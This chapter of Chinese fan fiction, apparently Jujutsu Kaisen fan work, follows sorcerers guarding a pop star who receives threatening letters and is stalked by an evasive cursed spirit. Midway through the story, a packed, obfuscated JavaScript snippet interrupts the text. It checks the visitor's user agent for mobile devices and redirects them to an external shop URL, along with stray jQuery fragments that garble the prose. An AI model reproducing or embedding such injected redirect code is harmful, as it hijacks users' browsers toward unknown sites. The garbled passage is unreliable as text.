“说起来为什么你们倾向于是诅咒师在干这件事呢?”
朝日檀:“因为我之前有收到恐吓信。”
禅院直哉:??任务详情里根本没有提到这件事。
朝日檀:“其实之前还没有联想在一起,因为恐吓信不是只送到了一个房间的门口,刚开始我想要是咒术师的话应该不至于定位我在哪个房间都做不到,毕竟只是放个咒灵跟着的事。但昨天发生我收到了第二封。在酒店已经有所更改的情况下,那个人准确地找到了我的房间。而且内容上跟第一封有联动。”
禅院直志拿出了整理好的信件。第一张黑纸白字,整整齐齐。第二封信就显得激烈挺多因为用的红色。
信里没有落款,也没有日期。
「为什么像你这种人还没有死掉,还能继续出现在电视上新闻上杂志上舞台上?总是看到你真的让我感到厌烦。如果你继续出现在电视上,我就会派一些看不见的东西来缠着你,直到你离开演艺圈,或者离开这个世界。」
第二封信里显然透露了背后人对朝日檀这两天情况的了解。
「你别以为找到了帮手就能逃过去,你一天不离开,我就不会结束!!!我会让你」
禅院直志:“是前天晚上收到的第二封信,然后昨晚出现的一级咒灵。”
没有咒力残秽,没有其他的信息。所以还是没有头绪,只能知道干出这个的是讨厌朝日檀的人,但这样的人多了去了。
“檀小姐,如果说有人想用几千万买你的命的话,你觉得人选可能会有谁。”虽然知道大概是问不出来,禅院直哉还是想听听女明星自己的看法。
“只是几千万的话。感觉还是挺多人愿意给的。毕竟我一场演唱会的营收就有上亿日元。”闪闪发亮的女明星摊了摊手,但为了早点解决事情,她还是思考了一下。
朝日檀:“公司内公司外感觉都很多,在这次的事件之前我都看到过有在论坛上组织诅咒我的帖子。跟我抢销量第一的其他女星也有可能,其他的公司也有可能,毕竟我是我公司的支柱,因为这个,公司里想干掉我的也有不少。当然也有可能是我前夫。”
这一连串的名字下来禅院直哉确信是不可能从这中间得到线索了。
而在赶的这几个场子里也没能看见咒灵的痕迹。
只能等等看一会半夜在酒店会不会有东西出现。
“直志,今晚我这边守夜。”禅院直哉安排道,见到他迟疑的表情解释道“你好好休息,明天白天是你的活。檀小姐,这边酒店可以多来两个房间在你的房间左右吗?”
朝日檀发出疑问:“既然要守夜的话我们在一个房间不更好?”
禅院直哉撇了撇嘴:“我以为你会介意房间里面会多一个人,毕竟我听说女明星都有些怪癖。”
“就是你们两个跟我都睡一个床上都没事。”
“不了,我不想以这种形式出现在花边小报上。喂你什么眼神?”禅院直哉看见那很久未见的二哥脸上无奈的笑中出现了些许惊讶。惊讶个什么,惊讶她知道花边小报吗?“就准你自己一个进化啊?”
......
不知道是心大,还是赶行程真的太累了。朝日檀一上床就没有了动静,再隔一小会没有任何光照的房间里响起了均匀而悠长的呼吸声。
上床前女明星还问她要不要留个灯。禅院直哉说不用,为了防止咒灵不来了。
朝日檀对理由没有兴趣,她只心心念念想睡觉。她不在乎有没有陌生人在旁边,也不在乎今晚会不会真的还有咒灵。也有可能是她哥的脸很好用,让她能够对第一次见面的禅院直哉都能够抱有很高的信任度。
说起来直志出来也没几年吧,记得当初她爹说他是出去上学的。怎么上着上着跑去给当红女星当伴舞了,而且看上去好像还有超越雇佣关系的想法。
而且花边小报上说她离婚还没有两个月吧。这想法是之前就有的还是离婚后才有的。
守夜的时间很难熬,她又玩腻了手机里的摩天大楼。于是就开始靠着蛐蛐她哥的小心思打发时间。
凌晨三点。不夜城的市中心进入了相对沉静,远处的东京塔顶替了月亮成为了夜晚最明亮的光源。不过它不具备唯一性。旁边的高层建筑物那些密密麻麻的窗户都亮着一大半。
禅院直哉记得那几栋都是各大公司的办公室。
她以为熬夜很少见,毕竟现代社会不怎么用人守夜了。但凌晨三点怎么还这么多地方亮着,现代社会的人不用睡觉的吗?
放在一边的手机的屏幕亮了一瞬。
盘腿坐在窗边桌子上的禅院直哉拿起来一看,是硝子发的短信。
“睡了吗?”
“没有,又被拉起来治疗啦?”
“对,结果一下子也睡不着,你那边怎么样。”
“风平浪静但睡不了觉。”
“还没有咒灵出现啊?”
“对啊”金发女孩怏怏地打字打到一半,瞅见了一个鬼鬼祟祟的黑影。
它一间一间屋子探头探脑往里面看,然后一转头跟她对上了眼,如果它有眼睛的话。
是咒灵!
禅院直哉一下子蹦了起来,准备跟它比划比划,或者顺藤摸瓜找到它的主人。
但它转身闯进了另一间房间。
禅院直哉爬下去一看,是个没有人住的房间,但也没有开窗。
按理说以它表现出来的咒力强度不应该能够穿过物理上的阻碍物的,但它顺利的穿过关闭的窗和门不见了。
红发老哥从楼上打开了窗,像是准备出来。禅院直哉朝他挥了挥手示意他没啥大事。
“刚刚有个咒灵出现了,但跑得很快没追上,从下面的房间跑掉了。你继续睡吧。”
禅院直哉爬回出来的房间的窗口,然后一抬头被坐着直直盯着她的朝日檀吓了一跳。
“直志也醒了?”
“嗯,他听到了声响问了下情况。”
“刚刚有东西?”
“对,长得黑黑的。”
但女明星get到了她的言简意赅的形容,并追问道:“没有眼睛长得像影子?”
“对。”
“之前也是它。”
“它也转身就走?”
“它把我们追的到处跑,直到我们引起了其他人的注意。”
“.....”
“这种怪—咒灵也欺软怕硬的吗?”
“不会。普通咒灵的本能就是前去害人,哪怕对面很强也会这样像蚊虫一样扑上来。并没有害怕的情绪。”
但这个咒灵,看见她拿着刀笑着看着它时候做出了逃跑的选择。
哪怕她那个样子再吓人也吓不到咒灵啊,难不成那个东西是人,或者又一个人死后变的咒灵?
不可能吧,哪来这么多有咒术天赋的人带着极大的怨气死于非咒灵的攻击。
“之前的咒灵会跟现在不一样吗?”
“嗯。被直志砍没的跟这个长的不一样。那个像被打翻的颜料桶。”
所以还是式神使吗?
绝大多数的式神使对于能够操控的咒灵的控制都类似于言灵之于他人。
给它一个命令,然后它会按自己的方式去干。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962164|214345||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>比如杀了它这个命令。
怎么杀,用牙咬的还是用手砸的,还是把自己当作一个棒槌撞过去都是咒灵按照自己特性来发挥。
而且所操控的咒灵的感知并不跟操控者互通。哪怕是式神使类技能的天花板,能够对咒灵达成近乎如臂使指操控的咒灵操术也不能够得到咒灵本身的视觉,且咒灵离得很远的时候指令的传递也有延迟。
但这个黑色的东西它能够即时作出反应并离开。
以近乎与一级咒术师的她相当的反应速度。
“有没有可能操纵者在咒灵身体里呢?”另一边的咒灵操术展开联想。
“但那样之前的咒灵被砍没之后他也应该现身。”
想不太通。
朝日檀在她思考的过程中又陷入了黑甜的睡眠。
她看到了六点的天亮。
而东京天亮之前就又开始了忙碌。
朝日檀也开始了她又一个高强度行程。
窄小的休息室里放着今天的晨间新闻。
「据悉,东京都知事野田真太郎被爆使用公款委托其二子野田纯次郎以文化使者的身份于他国举办艺术展,并报销天价差旅费及其举办宴会的一千六百万日元。其长子目前担任议员的野田健太郎于前日也被爆出性骚扰其女性下属。目前三人均未对此做出回应。」
像轮流干活的蚂蚁各司其职,负责造型不同位置的工作人员挤在朝日檀的旁边。
禅院直志靠着墙守在一边而熬了个通宵的禅院直哉听着播音员字正腔圆的播报昏昏欲睡。
“贪污出轨霸凌爆出来又怎么样,最多出来鞠躬个躬。一躬完毕万事平。”
“檀小姐麻烦您闭一下眼睛。”女性化妆师一边上妆一边愤愤不平:“再不行就消失几天避避风头。之后再来点其他的新闻。”
外面还是好些。在咒术界里这都不是事,几个老婆的,家暴的。说起来没想到在外面里霸凌和家暴都能有专有的词汇。禅院直哉迷迷瞪瞪地做出了评价。
“檀小姐,这里好像有给你的信,怎么会放到这里。”从外面拿着今天要用的服装进来的工作人员疑惑地看着手里封好的信封。“这杂志社内部的管控怎么这么差劲,还是说杂志社的工作人员里有檀小姐的粉丝啊。”
只睡了三个小时也是困意不断的朝日檀皱起了眉,显然跟禅院直哉想到了一块,她沉默了一会还是说道:“给我拿过来看看。”
熟悉的白纸,熟悉的威胁言语。
这次是威胁说她三天后的演唱会要大闹一场。
为什么昨天晚上是这么一副看见人就走的畏怯态度,写的信却敢如此嚣张?
休息室门外,朝日檀面无表情地把那张对折两次的白纸当扇子在手上拍:“她倒是知道我看重演唱会,尤其还是我离婚后第一场。如果只是针对我就算了,我死在舞台上都无所谓。但还有公务员人员和来看我的歌迷。”
红头发的青年担忧地看着她。
“我倒觉得不用害怕。”
于是他们看向说出这句话的金发女孩,她因为这神出鬼没的东西而满脸烦躁,但还是耐着性子解释道:“要是操控咒灵的人有那个胆子在大庭广众之下大闹,昨天就不会溜的那么快,而且之前也不会在你们跑到人群之后就收手。而且就是来了又怎样?一级咒灵我抓起来也不慢。”
“就是这嚣张的言论跟咒灵的行为有一些矛盾,我在想他们会不会是两个人。”
“你的意思是,啊我明白了。”朝日檀笑了笑:“那我觉得可以报警了。”
禅院直哉又长了新见识:“警察还管这个?”